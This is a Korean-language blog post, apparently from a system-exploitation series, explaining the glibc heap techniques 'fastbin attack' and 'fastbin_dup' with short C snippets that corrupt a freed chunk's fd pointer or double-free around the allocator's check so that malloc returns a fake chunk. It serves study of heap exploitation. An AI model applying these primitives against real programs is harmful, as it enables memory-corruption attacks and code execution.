엄범


fastbin attack

free'd fast chunk의 fd를 `` fake_chunk`` addr로 overwrite.

다음 ``c malloc(fast)`` 때 overwrited fast chunk가 반환되면서 fastbin에 `` fake_chunk`` addr이 추가되므로, 그 다음 반환 chunk는 `` fake_chunk``.


```c

fake_chunk[1] = FAST;    // bypass check


hptr = malloc(FAST);

victim = malloc(FAST);

free(victim);

strcpy(hptr, argv[1]);  // vulnerability ( overflow, uaf, overlap, fastbin_dup... )


victim = malloc(FAST);  // return victim

fake = malloc(FAST);  // return fake_chunk

```


limitation

[malloc] fastbins size check 에 걸리기 때문에 ``c fake_chunk``에는 속해있는 fastbin 집단과 일치하는 size가 설정되어야 한다.

* 속해있는 fastbin 집단의 size와 일치하지 않으면 `` malloc(): memory corruption (fast)`` 에러가 발생한다.

* 단, align된 단위로 보기 때문에 align 범위 내의 값이면 어떤 값이 와도 상관없다. flag도 마찬가지로 상관 없음.



fastbin_dup

두 번 연속해서 같은 포인터를 free하는 경우 [free] double free check에 걸리지만, 이는 가장 최근 반환 chunk가 다시 ``c free()``되는지만 검사하기 때문에 다음과 같은 상황에서 발생하는 overlap을 이용해 fastbin attack을 시도할 수 있다.

```c

void *a = malloc(SIZE);

void *b = malloc(SIZE);

free(a);

free(b);

free(a);


a1 = malloc(SIZE);    // a1

malloc(SIZE);    // b

a1 = &fake_chunk;

malloc(SIZE);    // a2

malloc(SIZE);    // fake_chunk

```

이렇게 되면 linked list는 `` fastbin -> a -> b -> a -> b...``로 구성되기 때문에 `` a1, b, a2`` chunk가 순서대로 반환된다.


원래는 `` a1`` chunk의 `` fd``가 0으로 초기화 되면서 `` a2`` 까지만 반환되지만

`` a2`` 를 할당하기 전에 `` a1``을 이용해 데이터를 쓰는 경우, `` fd``자리에 있는 데이터를 `` fd``로 인식하기 때문에

이후 `` a2``를 할당하면서 `` fd``에 있는 데이터가 fastbin에 들어가게 되고 

그 다음 ``c malloc()`` 때 그 데이터를 위치로 하는 chunk가 반한된다.



'Security > System Exploit' 카테고리의 다른 글

[UNDEAD] unlink  (0) 2017.08.15
The House of Lore  (0) 2017.08.15
fastbin attack / fastbin_dup  (0) 2017.08.15
The House of Spirit  (0) 2017.08.15
Poison null byte  (0) 2017.08.15
overlapping chunk  (0) 2017.08.15